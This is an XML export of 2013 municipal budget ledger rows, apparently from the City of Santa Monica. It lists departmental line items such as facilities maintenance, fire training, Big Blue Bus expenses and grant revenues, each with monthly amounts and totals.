<row _id="2980"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>39411.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39411.0</total></row>
<row _id="2981"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG OPER/SUPPLIES-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>40000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="2982"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>43500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43500.0</total></row>
<row _id="2983"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555920.0</object><object_description>SANTA MONICA SWIM CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>90000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>90000.0</total></row>
<row _id="2984"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="2985"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533228.0</object><object_description>BLDG/STR MAINT-KEN EDWARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="2986"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>160000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>160000.0</total></row>
<row _id="2987"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>373.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>373.0</total></row>
<row _id="2988"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-67746.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-67746.0</total></row>
<row _id="2989"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>33555.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33555.0</total></row>
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<row _id="3005"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18860.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18860.0</total></row>
<row _id="3006"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2210.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>375</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2585.0</total></row>
<row _id="3007"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>588030.0</object><object_description>COMPUTER EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="3008"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>555215.0</object><object_description>OUTSIDE TRAINER PAYMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20400.0</total></row>
<row _id="3009"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY HAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="3010"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406797.0</object><object_description>11 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-363392.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-363392.0</total></row>
<row _id="3011"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>800000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>800000.0</total></row>
<row _id="3012"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17500.0</total></row>
<row _id="3013"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>44394.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44394.0</total></row>
<row _id="3014"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="3015"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3016"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="3017"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>97400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>97400.0</total></row>
<row _id="3018"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1125.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1125.0</total></row>
<row _id="3019"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>70103.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>701</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70804.0</total></row>
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<row _id="3021"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>288125.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>288125.0</total></row>
<row _id="3022"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>68584.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>68584.0</total></row>
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<row _id="3024"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>82445.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>82445.0</total></row>
<row _id="3025"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-33075.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-33075.0</total></row>
<row _id="3026"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>489267.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4893</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>494160.0</total></row>
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<row _id="3029"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>30888.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>309</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31197.0</total></row>
<row _id="3030"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>350.0</total></row>
<row _id="3031"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-50840.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-50840.0</total></row>
<row _id="3032"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400620.0</object><object_description>RESURFACING PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-17136.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-17136.0</total></row>
<row _id="3033"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="3034"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570070.0</object><object_description>TRANSFER-STORMWATER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>856724.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>856724.0</total></row>
<row _id="3035"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1600000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>400000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000000.0</total></row>
<row _id="3036"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408430.0</object><object_description>METRO TOD-DOWNTOWN EIR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-551000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-5928.54</march><april>0</april><may>0</may><june>0.0</june><total>-556928.54</total></row>
<row _id="3037"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>162492.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>162492.0</total></row>
<row _id="3038"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>402050.0</object><object_description>TRANSPORTATION IMPACT FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-1500000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1500000.0</total></row>
<row _id="3039"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12600.0</total></row>
<row _id="3040"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>320959.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>320959.0</total></row>
<row _id="3041"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8652.0</july><august>-1738</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6914.0</total></row>
<row _id="3042"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1369.0</july><august>-254</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>11</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1126.0</total></row>
<row _id="3043"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>348.0</july><august>-72</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="3044"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544112.0</object><object_description>SIGNAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>133050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>133050.0</total></row>
<row _id="3045"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY YAR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7800.0</total></row>
